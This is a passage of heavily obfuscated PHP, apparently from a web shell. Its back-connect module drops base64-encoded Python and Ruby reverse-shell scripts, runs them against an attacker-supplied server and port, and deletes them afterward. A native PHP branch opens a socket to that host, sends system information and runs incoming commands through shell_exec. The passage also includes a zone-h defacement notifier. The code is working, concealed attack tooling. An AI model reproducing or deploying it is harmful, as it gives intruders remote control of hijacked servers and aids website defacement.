d\126\x6a\144\x43\x42\103\x65\x53\102\104\142\x32\64\63\x5a\130\x68\60\111\x43\60\x67\127\107\106\160\x49\x46\116\65\x62\x6d\122\x70\131\x32\106\60\132\x56\170\x75\126\107\150\150\142\155\x74\172\x49\105\144\166\x62\x32\144\163\132\123\102\x47\142\x33\x49\147\x55\x6d\126\155\x5a\x58\x4a\x6c\142\156\x4e\160\x58\x47\x35\143\142\x69\143\156\112\x79\x6b\116\x43\x69\101\x67\x49\103\x42\166\143\171\65\x6b\x64\x58\101\171\x4b\x47\x70\164\x59\x69\x35\155\x61\x57\x78\x6c\x62\155\70\x6f\113\x53\167\167\113\x51\60\113\111\103\101\x67\x49\x47\71\172\114\x6d\x52\61\x63\104\x49\x6f\x61\155\61\151\114\x6d\132\160\x62\107\126\165\x62\171\147\x70\114\x44\105\x70\104\x51\157\x67\111\x43\101\147\x62\63\115\165\132\110\x56\x77\115\151\150\x71\x62\127\111\165\132\155\x6c\x73\132\x57\65\x76\x4b\x43\x6b\163\115\x69\153\116\103\x69\101\147\111\x43\x42\x76\143\x79\65\153\144\x58\101\171\113\x47\x70\x74\x59\x69\x35\x6d\141\x57\x78\154\x62\x6d\70\x6f\x4b\123\x77\x7a\x4b\121\60\113\111\x43\101\x67\111\110\x4e\x6f\132\x57\170\x73\111\104\60\x67\143\x33\x56\x69\143\110\112\166\131\62\x56\172\143\171\x35\x6a\x59\127\170\x73\x4b\106\163\151\114\x32\112\x70\142\x69\71\172\141\x43\x49\x73\x49\151\x31\x70\x49\154\x30\x70\104\x51\157\147\x49\107\x56\64\131\62\x56\x77\x64\103\102\172\x62\x32\116\x72\x5a\x58\121\x75\x64\107\x6c\x74\132\x57\71\61\x64\104\x6f\116\103\x69\101\147\x49\x43\x42\x77\143\155\x6c\165\144\x43\x41\151\126\x47\x6c\164\124\63\126\x30\x49\147\60\113\x49\103\102\154\x65\x47\x4e\154\x63\x48\121\x67\x63\62\x39\152\x61\62\x56\x30\114\155\126\x79\x63\x6d\x39\171\x4c\x43\102\154\x4f\147\x30\113\111\x43\101\147\111\x48\x42\x79\141\127\65\60\111\103\x4a\106\143\x6e\112\x76\143\x69\x49\163\111\x47\125\x4e\103\x6e\x42\x35\x59\x6d\106\152\141\62\116\x76\142\x6d\65\x6c\x59\63\121\157\113\x51\x3d\x3d"); $pbcaa = @fopen("\142\143\x70\x79\x74\56\160\171", "\x77"); fwrite($pbcaa, $becaa); $out1 = exe("\160\171\x74\150\157\156\40\x62\143\x70\x79\164\56\x70\x79\x20" . $_POST["\x73\145\162\x76\x65\162"] . "\40" . $_POST["\160\157\162\164"]); sleep(1); echo "\74\x70\162\x65\x3e{$out1}\12" . exe("\x70\x73\x20\x61\x75\170\40\174\x20\147\162\x65\x70\x20\142\143\x70\x79\x74\x2e\x70\171") . "\74\x2f\x70\x72\145\x3e"; unlink("\x62\143\x70\171\x74\56\x70\x79"); } if ($_POST["\142\x61\143\153\143\157\x6e\x6e\x65\x63\164"] == "\162\165\142\x79") { $becaak = base64_decode("\111\x79\105\x76\x64\x58\x4e\x79\x4c\x32\x4a\x70\x62\x69\71\154\142\x6e\x59\x67\143\156\x56\151\145\x51\60\113\x49\x79\x42\x6b\x5a\x58\132\x70\142\x48\x70\x6a\x4d\107\122\x6c\x4c\155\x39\x79\x5a\x79\101\x6f\131\x79\x6b\147\115\152\101\x78\115\x67\60\113\x49\167\x30\113\111\x79\x42\151\141\127\x35\x6b\x49\x47\106\x75\x5a\x43\102\x79\132\x58\132\154\143\x6e\116\154\x49\x48\116\x6f\132\x57\x78\163\x44\121\x6f\x6a\111\107\111\x7a\x4e\x7a\x52\162\104\x51\x70\171\132\130\106\x31\141\x58\112\x6c\x49\103\144\172\x62\62\x4e\162\x5a\130\x51\156\104\121\160\x79\132\x58\x46\x31\x61\130\112\x6c\x49\103\x64\x77\131\x58\122\157\x62\155\106\164\x5a\123\x63\116\103\x67\60\113\x5a\107\126\155\x49\110\x56\172\x59\x57\144\x6c\104\x51\x6f\112\143\x48\x4a\x70\x62\156\121\x67\x49\x6d\112\x70\142\x6d\121\147\117\x6c\x78\x79\x58\107\x34\147\x49\110\x4a\61\131\x6e\153\147\x49\151\x41\x72\111\x45\x5a\160\x62\107\125\x75\x59\x6d\106\x7a\x5a\127\65\150\142\127\125\x6f\130\x31\71\107\123\x55\x78\106\x58\x31\x38\160\x49\103\163\147\111\151\102\x62\143\x47\71\171\x64\x46\x31\143\x63\154\170\x75\111\147\60\113\103\130\x42\x79\141\x57\x35\60\111\103\112\171\132\130\x5a\154\x63\156\x4e\154\111\x44\x70\143\143\154\170\x75\x49\x43\102\x79\x64\127\x4a\65\x49\x43\x49\x67\x4b\171\102\107\141\127\x78\154\114\x6d\x4a\150\143\62\126\x75\131\127\61\x6c\x4b\106\71\146\122\153\x6c\115\122\x56\71\146\x4b\x53\101\x72\111\x43\x49\147\x57\x33\x42\166\x63\156\x52\x64\x49\106\164\157\x62\x33\x4e\60\x58\126\170\x79\130\x47\x34\x69\104\121\x70\154\x62\155\x51\x4e\103\x67\x30\113\x5a\x47\x56\x6d\x49\110\116\61\131\x32\164\172\x44\121\157\x4a\x63\x33\126\152\x61\63\x4d\147\120\123\x42\x6d\x59\127\170\x7a\x5a\121\60\x4b\x43\127\x6c\155\111\x46\112\x56\x51\154\x6c\146\125\x45\170\x42\126\105\132\120\125\x6b\x30\x75\x5a\107\71\63\x62\x6d\116\x68\x63\x32\125\x75\142\x57\106\60\131\x32\147\157\x4a\x32\61\x7a\x64\x32\x6c\165\x66\110\144\x70\x62\x6e\x78\x74\141\x57\x35\x6e\x64\x79\x63\x70\x44\x51\x6f\x4a\x43\130\116\x31\x59\62\164\x7a\x49\104\x30\147\x64\x48\x4a\61\x5a\x51\x30\x4b\103\x57\126\x75\132\101\x30\x4b\x43\130\x4a\154\x64\x48\x56\x79\x62\151\x42\x7a\144\x57\116\x72\143\x77\x30\113\x5a\x57\x35\153\104\121\157\x4e\103\x6d\122\154\x5a\x69\102\x79\x5a\127\x46\x73\x63\107\106\x30\x61\103\x68\172\x64\110\111\160\x44\121\157\x4a\143\x6d\126\150\x62\103\x41\x39\x49\x48\x4e\x30\143\147\60\x4b\x43\x57\154\x6d\x49\x45\x5a\x70\142\x47\x55\x75\132\130\150\x70\x63\x33\x52\172\120\x79\x68\172\x64\x48\111\160\104\x51\157\112\x43\127\x51\147\x50\x53\x42\121\131\x58\x52\157\x62\155\106\x74\132\x53\65\x75\x5a\x58\x63\157\143\63\x52\171\113\121\x30\x4b\x43\121\154\x79\132\x57\106\163\x49\104\x30\147\132\103\65\x79\132\x57\x46\x73\x63\107\x46\60\141\x43\65\x30\142\x31\x39\x7a\x44\x51\x6f\112\132\127\x35\x6b\104\121\x6f\112\x61\127\x59\x67\x63\63\x56\x6a\141\63\115\116\103\147\153\x4a\143\155\x56\150\142\x43\x41\x39\x49\x48\x4a\154\x59\x57\x77\165\x5a\x33\116\x31\131\x69\147\166\130\103\70\x76\114\103\x4a\143\x58\103\x49\160\104\121\157\x4a\x5a\x57\x35\153\104\121\157\x4a\143\155\126\60\x64\x58\x4a\x75\x49\110\112\x6c\131\x57\x77\116\x43\x6d\126\165\132\x41\x30\x4b\104\121\x70\160\132\151\102\x42\x55\153\x64\x57\114\155\x78\154\142\x6d\144\60\141\x43\101\71\x50\x53\101\170\x44\121\x6f\x4a\x61\x57\131\x67\121\x56\112\110\x56\154\163\x77\x58\x53\101\71\146\151\101\x76\130\154\x73\167\x4c\124\154\144\x65\172\105\x73\116\130\x30\x6b\114\167\60\113\103\x51\154\167\x62\x33\x4a\60\111\104\60\147\x53\x57\65\x30\132\127\x64\x6c\x63\x69\150\102\x55\153\144\127\127\x7a\102\x64\113\121\x30\x4b\103\x57\126\163\143\x32\x55\116\x43\147\153\x4a\144\x58\116\150\x5a\62\x55\116\103\147\153\112\143\110\112\x70\142\156\121\147\111\x6c\x78\x79\130\x47\x34\161\113\151\157\147\x5a\130\x4a\171\x62\63\x49\147\117\x69\x42\x51\x62\x47\x56\x68\143\62\125\147\x61\x57\65\x77\144\130\x51\x67\131\123\102\x32\131\127\x78\x70\132\x43\102\x77\x62\63\x4a\x30\x58\110\112\x63\142\x69\111\x4e\x43\147\153\112\132\x58\150\160\x64\101\60\113\103\x57\x56\165\x5a\101\x30\x4b\x43\130\x4e\154\143\x6e\132\x6c\x63\151\101\71\111\106\122\104\125\106\116\154\x63\156\x5a\154\143\x69\x35\165\132\x58\x63\157\x49\151\x49\x73\x49\x48\102\x76\x63\x6e\121\x70\104\x51\157\x4a\x63\x79\101\x39\111\x48\x4e\x6c\143\x6e\132\154\x63\x69\x35\150\x59\x32\116\154\143\110\x51\x4e\103\147\154\x77\x62\x33\112\x30\111\104\x30\x67\x63\x79\65\167\x5a\127\126\171\131\127\122\x6b\143\154\163\x78\130\121\60\113\103\x57\65\150\x62\x57\x55\147\120\x53\102\x7a\114\156\102\154\132\x58\x4a\x68\x5a\107\122\x79\x57\172\112\x64\104\x51\x6f\x4a\x63\171\x35\x77\x63\155\154\x75\x64\103\x41\x69\x4b\151\x6f\x71\111\107\x4e\x76\142\x6d\65\154\131\x33\x52\x6c\x5a\x46\x78\x79\130\x47\x34\x69\104\121\x6f\x4a\x63\110\x56\60\x63\171\x41\151\113\x69\x6f\x71\111\107\116\166\142\x6d\x35\x6c\131\63\x52\x6c\x5a\103\x41\x36\x49\103\x4e\67\142\155\106\164\x5a\x58\x30\66\111\x33\164\167\142\x33\x4a\x30\146\126\170\171\130\107\x34\151\104\121\x6f\x4a\x59\x6d\126\x6e\141\127\64\116\x43\147\153\112\141\x57\131\x67\x62\x6d\x39\x30\x49\x48\116\61\x59\62\164\172\104\121\157\x4a\x43\121\x6c\155\x49\104\60\x67\x63\171\x35\x30\142\61\71\x70\104\121\x6f\x4a\103\x51\154\x6c\145\x47\126\152\111\110\116\167\x63\x6d\x6c\165\x64\x47\x59\x6f\x49\151\x39\151\x61\127\64\166\143\x32\147\x67\114\127\x6b\147\x58\x44\170\143\112\151\x56\153\x49\106\x77\53\130\x43\131\x6c\132\103\101\171\130\x44\x35\x63\112\x69\x56\x6b\x49\x69\170\155\114\107\x59\x73\132\151\153\x4e\103\x67\153\112\132\127\x78\x7a\132\121\x30\x4b\103\121\x6b\x4a\143\x79\x35\167\x63\155\x6c\x75\144\103\101\151\130\110\112\x63\x62\x69\x49\147\113\x79\x42\x79\132\x57\106\163\x63\x47\x46\60\x61\103\x67\151\x4c\x69\x49\x70\111\x43\x73\x67\111\152\64\x69\104\x51\x6f\112\103\121\154\63\x61\107\154\x73\132\123\102\163\x61\127\x35\x6c\x49\x44\x30\147\x63\x79\x35\x6e\132\x58\122\x7a\104\121\157\112\103\121\153\x4a\143\155\106\x70\x63\x32\x55\x67\x5a\x58\112\x79\142\x33\x4a\x43\143\155\70\x67\x61\127\131\147\x62\107\x6c\x75\x5a\123\x41\x39\146\x69\x41\166\130\x6d\122\160\132\x56\x78\x79\x50\x79\121\x76\x44\x51\x6f\x4a\x43\121\x6b\112\x61\x57\x59\x67\142\155\71\60\x49\x47\170\x70\142\155\125\165\x59\62\x68\x76\x62\x58\x41\x67\120\x54\x30\147\x49\x69\111\116\x43\x67\x6b\112\x43\x51\x6b\112\x61\127\131\x67\142\107\154\165\132\123\101\71\x66\x69\x41\166\x59\62\121\147\114\151\157\x76\141\x51\60\113\x43\x51\153\x4a\x43\x51\153\x4a\142\x47\154\x75\132\x53\x41\71\x49\107\x78\x70\142\x6d\x55\165\x5a\63\x4e\x31\131\151\x67\x76\x59\x32\x51\x67\114\62\153\163\111\x43\x63\x6e\113\x53\x35\152\141\107\x39\164\143\x41\x30\113\103\121\153\x4a\x43\x51\x6b\112\x61\127\x59\147\122\155\x6c\163\132\x53\x35\153\141\x58\x4a\x6c\x59\x33\122\x76\143\x6e\153\57\113\107\170\x70\142\x6d\x55\x70\104\x51\157\112\x43\121\x6b\x4a\103\121\x6b\x4a\142\107\154\165\132\x53\101\71\111\110\x4a\x6c\x59\x57\x78\167\x59\130\x52\x6f\x4b\107\170\x70\x62\155\x55\x70\x44\x51\x6f\112\103\121\x6b\x4a\103\x51\153\x4a\x52\x47\154\x79\114\155\116\157\x5a\x47\x6c\x79\x4b\x47\x78\160\142\155\125\x70\104\121\x6f\112\103\x51\x6b\x4a\x43\x51\x6c\154\x62\x6d\x51\x4e\103\147\153\112\103\121\153\x4a\x43\130\115\x75\x63\110\112\x70\142\156\121\x67\x49\154\170\x79\130\107\64\151\x49\x43\x73\x67\143\155\x56\x68\x62\x48\102\x68\144\x47\x67\x6f\x49\151\x34\x69\x4b\123\101\x72\111\103\x49\53\x49\147\x30\113\103\121\x6b\x4a\103\121\154\x6c\142\110\116\160\x5a\151\102\x73\x61\127\x35\x6c\x49\x44\x31\x2b\111\x43\71\143\x64\172\157\x75\x4b\x69\x39\x70\x44\x51\x6f\x4a\x43\121\x6b\x4a\103\121\x6c\x70\x5a\x69\102\x47\141\127\x78\154\x4c\x6d\x52\160\143\x6d\126\152\x64\107\71\x79\x65\124\70\157\142\x47\x6c\x75\x5a\x53\x35\x6a\141\x47\x39\x74\x63\103\153\x4e\103\x67\153\x4a\x43\x51\153\x4a\x43\x51\154\105\141\130\x49\165\131\x32\x68\x6b\x61\x58\x49\157\x62\x47\x6c\x75\132\123\x35\152\141\x47\x39\x74\x63\x43\x6b\x4e\103\x67\153\112\x43\x51\x6b\x4a\103\127\x56\x75\132\x41\60\x4b\x43\x51\x6b\112\x43\121\153\x4a\143\171\x35\x77\x63\x6d\154\165\144\x43\x41\x69\x58\110\x4a\143\x62\x69\x49\147\x4b\171\x42\x79\x5a\127\x46\x73\x63\x47\x46\60\141\103\x67\x69\x4c\x69\x49\160\111\103\x73\x67\111\x6a\x34\151\104\121\157\x4a\103\x51\153\x4a\103\127\x56\163\143\x32\x55\x4e\x43\147\153\x4a\x43\121\x6b\x4a\x43\125\x6c\120\x4c\x6e\x42\166\x63\x47\126\165\113\x47\x78\x70\x62\x6d\x55\163\111\156\x49\151\113\x58\x74\70\x61\127\x39\x38\143\171\65\x77\x63\155\x6c\x75\144\103\x42\x70\x62\x79\x35\x79\132\x57\106\x6b\111\103\x73\147\x49\154\x78\171\x58\x47\x34\151\x49\x43\163\x67\143\x6d\126\x68\x62\x48\x42\x68\x64\107\x67\x6f\111\x69\64\x69\113\x53\x41\162\x49\103\x49\53\111\x6e\x30\116\x43\x67\153\x4a\103\x51\x6b\x4a\x5a\x57\65\x6b\x44\121\x6f\x4a\103\x51\153\112\x5a\127\x35\153\104\121\157\x4a\103\x51\x6c\x6c\x62\155\x51\116\103\147\153\x4a\132\x57\x35\x6b\x44\x51\x6f\x4a\x63\x6d\126\x7a\131\63\126\154\111\107\126\x79\143\155\71\x79\x51\156\x4a\166\x44\x51\x6f\x4a\103\130\x42\61\x64\110\115\147\111\151\157\x71\113\x69\101\x6a\x65\x32\65\x68\142\x57\126\71\117\151\x4e\67\143\107\x39\171\x64\110\60\147\x5a\x47\154\x7a\131\x32\x39\165\142\x6d\126\x6a\x64\107\x56\153\x49\147\x30\113\103\x57\126\x75\x63\x33\126\171\x5a\121\x30\113\103\x51\154\x7a\x4c\155\x4e\163\x62\63\116\x6c\104\121\x6f\x4a\103\130\x4d\147\120\123\102\165\x61\127\x77\x4e\x43\147\x6c\154\142\155\x51\116\x43\x6d\126\163\x63\x32\154\155\111\x45\106\x53\122\61\x59\x75\x62\x47\x56\x75\x5a\63\x52\157\111\104\60\71\x49\104\111\116\x43\147\x6c\160\x5a\151\102\102\x55\153\x64\127\127\172\x42\144\x49\104\61\x2b\x49\x43\x39\x65\x57\x7a\x41\164\117\126\x31\x37\115\x53\167\61\146\123\121\x76\x44\x51\157\112\x43\x58\x42\x76\143\x6e\x51\147\x50\x53\102\112\142\x6e\122\154\x5a\62\x56\171\113\105\106\x53\122\x31\132\x62\x4d\106\x30\160\104\x51\x6f\112\103\127\x68\166\143\63\121\147\x50\123\x42\102\125\x6b\x64\x57\127\172\106\x64\x44\x51\157\x4a\132\x57\x78\x7a\141\x57\131\x67\x51\126\112\x48\126\x6c\x73\170\x58\123\x41\71\x66\x69\x41\166\x58\154\163\x77\114\124\154\144\145\172\105\x73\116\130\x30\153\x4c\167\60\x4b\x43\121\x6c\x77\x62\63\x4a\x30\x49\x44\60\x67\x53\x57\65\60\132\127\144\x6c\x63\x69\x68\102\125\153\144\x57\127\172\x46\x64\x4b\x51\x30\x4b\x43\x51\154\157\x62\63\x4e\x30\x49\x44\60\147\x51\126\112\110\x56\154\163\167\x58\x51\60\x4b\103\x57\x56\163\143\62\125\x4e\103\147\153\112\x64\x58\x4e\150\x5a\x32\x55\x4e\x43\x67\x6b\112\x63\x48\x4a\160\x62\156\x51\x67\x49\154\170\x79\x58\x47\x34\161\x4b\151\x6f\147\x5a\x58\112\171\142\x33\x49\147\x4f\x69\x42\x51\x62\x47\x56\150\x63\x32\x55\147\x61\x57\65\x77\x64\130\121\x67\x59\123\102\x32\x59\127\170\x70\132\x43\102\167\x62\x33\112\60\130\110\112\143\142\x69\111\x4e\x43\147\x6b\x4a\132\x58\150\x70\144\x41\60\113\103\127\126\165\132\101\60\113\x43\x58\115\147\120\x53\102\x55\x51\61\102\124\x62\62\116\x72\x5a\130\x51\x75\x62\x6d\x56\x33\x4b\x43\x49\152\x65\x32\150\166\143\x33\x52\71\111\151\x77\147\143\x47\x39\x79\144\x43\x6b\116\x43\x67\154\x77\x62\x33\112\x30\x49\x44\60\147\143\171\65\x77\132\127\126\171\131\x57\x52\153\143\x6c\x73\170\x58\x51\60\113\103\127\x35\150\x62\x57\x55\147\x50\123\102\x7a\114\x6e\x42\154\x5a\x58\x4a\150\132\107\x52\x79\x57\172\112\x64\x44\121\157\x4a\x63\171\65\x77\143\155\x6c\x75\144\103\x41\151\x4b\151\x6f\x71\111\x47\116\x76\x62\x6d\65\154\x59\63\x52\154\132\x46\x78\x79\x58\x47\x34\x69\x44\121\157\x4a\143\110\126\x30\x63\x79\x41\x69\x4b\x69\x6f\161\x49\107\x4e\x76\x62\x6d\x35\154\x59\x33\122\x6c\132\x43\x41\66\111\x43\x4e\x37\142\x6d\x46\x74\x5a\x58\x30\66\x49\63\164\167\x62\x33\112\x30\x66\123\x49\116\103\x67\154\151\132\127\144\x70\142\147\60\113\103\121\x6c\160\132\x69\x42\x75\142\x33\x51\x67\143\63\126\x6a\141\x33\x4d\x4e\x43\x67\x6b\x4a\103\x57\131\x67\x50\x53\x42\172\114\x6e\122\166\130\x32\153\x4e\103\x67\153\112\x43\x57\x56\64\132\x57\x4d\147\x63\x33\102\171\141\x57\65\x30\x5a\x69\147\x69\x4c\62\112\160\142\x69\71\x7a\x61\103\x41\x74\141\x53\102\x63\120\x46\x77\155\112\x57\x51\x67\130\104\65\x63\x4a\x69\126\153\111\104\112\x63\120\x6c\167\x6d\112\x57\121\151\x4c\103\102\155\x4c\103\102\155\114\103\x42\x6d\x4b\x51\60\x4b\103\121\x6c\154\x62\110\116\x6c\x44\x51\157\112\x43\x51\154\172\114\x6e\102\x79\x61\127\x35\x30\x49\x43\112\143\143\154\x78\165\111\151\x41\162\x49\110\112\x6c\131\x57\170\167\x59\x58\x52\157\x4b\103\x49\165\111\x69\x6b\x67\113\171\101\x69\x50\x69\x49\x4e\x43\x67\153\112\103\130\x64\157\x61\127\170\154\x49\107\170\x70\142\x6d\125\147\120\123\x42\172\114\155\144\x6c\x64\110\115\x4e\x43\x67\x6b\112\x43\121\x6c\171\x59\127\x6c\172\x5a\x53\x42\x6c\x63\x6e\x4a\166\x63\x6b\x4a\171\142\171\x42\160\132\x69\102\163\x61\127\x35\x6c\111\x44\x31\53\x49\103\x39\145\132\x47\x6c\x6c\x58\110\x49\57\x4a\x43\x38\x4e\103\147\153\x4a\x43\121\x6c\x70\132\151\102\x75\142\63\121\x67\x62\x47\x6c\x75\x5a\x53\x35\152\141\107\x39\164\143\103\x41\71\x50\123\x41\151\x49\147\x30\x4b\103\121\153\112\103\x51\x6c\160\132\151\x42\163\141\x57\x35\154\111\104\61\53\x49\x43\x39\x6a\x5a\103\101\x75\113\x69\x39\x70\x44\121\x6f\112\103\x51\x6b\x4a\103\121\154\163\141\127\x35\154\x49\x44\x30\x67\x62\x47\154\165\x5a\123\x35\156\143\63\x56\151\x4b\x43\x39\x6a\132\x43\x41\x76\x61\x53\167\147\112\x79\143\x70\x4c\155\116\x6f\142\62\61\167\104\x51\157\112\103\x51\x6b\x4a\103\x51\x6c\160\x5a\151\x42\x47\x61\127\170\154\114\x6d\122\x70\143\x6d\x56\152\144\107\71\x79\x65\124\x38\157\x62\x47\x6c\x75\x5a\x53\x6b\116\x43\147\153\112\x43\x51\153\112\103\x51\x6c\x73\141\x57\65\x6c\111\x44\60\x67\x63\155\x56\150\x62\x48\x42\150\144\x47\147\157\142\107\154\x75\132\123\153\x4e\x43\x67\x6b\112\x43\121\153\112\x43\121\154\x45\x61\130\111\x75\131\62\150\x6b\x61\130\x49\157\142\x47\154\165\x5a\x53\153\x4e\103\147\x6b\112\x43\121\153\x4a\103\127\x56\165\x5a\x41\x30\x4b\x43\x51\x6b\112\103\121\x6b\x4a\x63\171\x35\167\x63\155\x6c\165\144\103\x41\151\130\110\x4a\x63\x62\151\x49\x67\113\171\102\171\132\127\106\x73\x63\107\106\60\141\103\147\x69\114\x69\x49\160\111\x43\163\147\111\x6a\64\x69\104\x51\x6f\112\x43\x51\153\112\103\x57\126\163\x63\x32\x6c\155\111\x47\x78\160\142\x6d\125\x67\120\x58\x34\x67\114\x31\170\63\117\151\64\161\114\x32\153\116\103\x67\x6b\x4a\x43\x51\153\112\x43\x57\154\x6d\111\105\132\x70\x62\107\125\x75\x5a\107\x6c\x79\x5a\x57\116\60\142\x33\x4a\65\120\171\x68\163\141\127\65\x6c\114\155\x4e\157\x62\62\x31\x77\113\121\x30\x4b\x43\x51\x6b\x4a\103\x51\153\x4a\x43\125\x52\160\143\151\x35\x6a\x61\x47\x52\x70\x63\x69\150\163\141\x57\x35\x6c\114\x6d\x4e\x6f\142\62\x31\x77\x4b\121\x30\x4b\103\x51\x6b\112\x43\121\153\112\132\x57\65\x6b\x44\x51\x6f\112\103\121\153\x4a\x43\x51\154\172\114\x6e\102\171\141\x57\x35\60\111\103\112\x63\x63\154\170\x75\111\x69\101\162\111\x48\x4a\154\131\x57\170\167\x59\x58\122\x6f\x4b\x43\111\x75\x49\x69\153\x67\113\x79\101\x69\x50\151\x49\116\103\147\x6b\112\x43\121\x6b\112\x5a\x57\170\x7a\x5a\121\x30\113\103\x51\153\x4a\x43\121\153\112\x53\125\70\x75\143\107\71\167\x5a\127\64\x6f\142\x47\154\x75\x5a\123\x77\151\143\151\111\x70\x65\x33\x78\160\x62\63\x78\x7a\114\x6e\x42\171\141\127\x35\x30\111\x47\x6c\x76\114\x6e\x4a\154\x59\127\121\147\113\x79\x41\x69\x58\110\112\143\x62\151\x49\x67\113\x79\102\171\x5a\127\x46\x73\x63\107\x46\x30\x61\103\147\x69\x4c\x69\111\x70\111\x43\x73\147\x49\x6a\64\x69\x66\x51\60\x4b\103\x51\x6b\112\x43\x51\x6c\154\142\x6d\121\x4e\103\147\x6b\112\x43\121\154\154\x62\155\121\x4e\x43\x67\153\112\x43\x57\126\x75\x5a\101\x30\113\x43\x51\154\x6c\142\155\x51\x4e\103\x67\154\x79\x5a\x58\x4e\x6a\144\x57\x55\147\132\x58\112\171\142\x33\x4a\103\x63\155\70\x4e\103\147\x6b\x4a\x63\x48\x56\60\143\171\x41\151\x4b\x69\157\161\111\103\x4e\67\142\155\x46\x74\x5a\x58\x30\x36\111\x33\x74\x77\x62\63\112\x30\146\x53\x42\153\x61\x58\x4e\x6a\x62\62\65\x75\132\127\116\60\x5a\x57\x51\x69\x44\x51\157\x4a\x5a\127\65\x7a\x64\x58\112\154\104\x51\x6f\112\103\130\115\165\131\x32\170\166\143\x32\x55\116\x43\147\x6b\112\143\x79\x41\x39\x49\x47\65\x70\x62\101\x30\113\x43\127\x56\x75\132\x41\x30\113\132\x57\170\x7a\x5a\121\60\113\x43\130\x56\x7a\131\x57\144\x6c\x44\x51\157\112\x5a\x58\x68\x70\144\x41\x30\113\x5a\x57\x35\x6b"); $pbcaak = @fopen("\142\143\162\x75\x62\171\x2e\x72\x62", "\x77"); fwrite($pbcaak, $becaak); $out2 = exe("\162\x75\x62\171\x20\x62\x63\x72\165\x62\171\x2e\x72\x62\x20" . $_POST["\163\145\x72\x76\x65\x72"] . "\40" . $_POST["\x70\157\162\164"]); sleep(1); echo "\x3c\160\x72\145\76{$out2}\xa" . exe("\160\x73\40\x61\x75\x78\40\174\40\147\x72\x65\160\40\x62\x63\162\x75\x62\x79\x2e\x72\142") . "\x3c\x2f\x70\x72\x65\x3e"; unlink("\x62\143\162\x75\x62\x79\x2e\162\x62"); } if ($_POST["\x62\141\x63\x6b\143\x6f\x6e\x6e\145\x63\x74"] == "\x70\x68\160") { $ip = $_POST["\163\x65\x72\166\x65\162"]; $port = $_POST["\x70\157\162\x74"]; $sockfd = fsockopen($ip, $port, $errno, $errstr); if ($errno != 0) { echo "\74\146\157\156\x74\40\143\157\x6c\157\x72\x3d\x27\x72\145\x64\x27\76{$errno}\x20\x3a\40{$errstr}\74\x2f\x66\157\156\x74\76"; } else { if (!$sockfd) { $result = "\x3c\x70\x3e\125\156\145\x78\160\145\143\x74\145\144\40\x65\162\162\157\162\40\150\x61\x73\x20\157\143\143\165\x72\x65\144\54\40\x63\157\156\x6e\145\x63\164\151\157\x6e\x20\155\x61\x79\40\x68\141\166\145\x20\x66\x61\151\154\x65\x64\56\74\x2f\x70\76"; } else { fputs($sockfd, "\12\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\xa\x7b\x23\x23\x23\x23\x23\43\43\x23\x23\x23\x23\x23\x23\x23\43\43\x23\43\43\x23\43\43\x23\x23\43\x23\43\43\43\x23\43\x23\43\x23\x23\43\x23\43\43\43\x23\x23\x23\43\43\x23\x23\43\x23\x23\x23\x23\43\43\43\x23\43\43\43\x23\43\x23\43\43\175\12\40\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\xa\x2e\56\72\72\x20\102\x61\x63\x6b\103\157\156\156\145\x63\x74\40\x50\150\160\x20\102\171\40\116\151\x6e\x7a\151\x6e\x20\72\x3a\x2e\56\xa\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\xa\x7b\43\x23\x23\43\43\43\43\43\43\x23\43\43\x23\43\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\43\x23\43\x23\x23\43\43\43\x23\x23\x23\x23\x23\43\x23\43\43\43\43\x23\x23\x23\x23\x23\43\x23\x23\x23\43\x23\x23\43\x23\43\43\x23\x23\x23\43\x7d\12"); $dir = shell_exec("\160\x77\144"); $sysinfo = shell_exec("\x75\x6e\141\155\x65\40\55\x61"); $time = Shell_exec("\x74\x69\x6d\145"); $len = 1337; fputs($sockfd, "\x55\163\x65\162\40", $sysinfo, "\143\157\156\x6e\145\x63\164\145\144\x20\x40\x20", $time, "\12\xa"); while (!feof($sockfd)) { $cmdPrompt = "\x5b\116\151\x6e\x7a\x69\156\176\x6a\160\135\x23\x3a\x3e\x20"; fputs($sockfd, $cmdPrompt); $command = fgets($sockfd, $len); fputs($sockfd, "\xa" . shell_exec($command) . "\xa\xa"); } fclose($sockfd); } } } echo "\x3c\57\160\76\74\x2f\x64\x69\x76\x3e"; } elseif (isset($_GET["\154\x6f\147\x6f\x75\x74"])) { unset($_SESSION[md5($_SERVER["\x48\124\124\x50\137\x48\x4f\123\x54"])]); echo "\x3c\x73\143\x72\x69\160\x74\x3e\167\151\156\x64\x6f\167\x2e\x6c\157\143\141\x74\x69\157\x6e\75\47\77\x27\73\74\x2f\x73\143\162\151\160\164\76"; } elseif (isset($_GET["\x7a\x6f\x6e\145\x68"])) { if (isset($_POST["\x73\165\x62\155\x69\x74"])) { $domain = explode("\xd\xa", $_POST["\x75\162\154"]); $nick = $_POST["\x6e\151\143\153"]; echo "\x3c\143\145\156\x74\x65\x72\x3e\x44\145\146\141\x63\145\162\40\117\x6e\x68\x6f\154\144\72\40\74\141\40\150\x72\x65\x66\x3d\47\150\164\164\160\72\x2f\57\167\x77\167\56\172\x6f\x6e\145\55\150\x2e\157\162\x67\x2f\x61\162\143\x68\x69\166\x65\57\156\157\x74\x69\x66\151\x65\x72\x3d{$nick}\57\x70\x75\x62\154\151\163\x68\x65\144\x3d\x30\x27\40\164\x61\162\x67\x65\x74\75\x27\137\142\154\141\x6e\153\x27\x3e\150\x74\164\160\x3a\57\57\x77\x77\167\x2e\172\157\156\x65\x2d\x68\56\x6f\x72\x67\57\x61\162\x63\x68\151\x76\145\x2f\x6e\x6f\x74\x69\x66\x69\145\x72\75{$nick}\57\160\165\x62\154\x69\163\150\145\x64\75\x30\74\x2f\x61\x3e\74\142\162\76\x3c\57\143\x65\x6e\x74\x65\x72\76"; echo 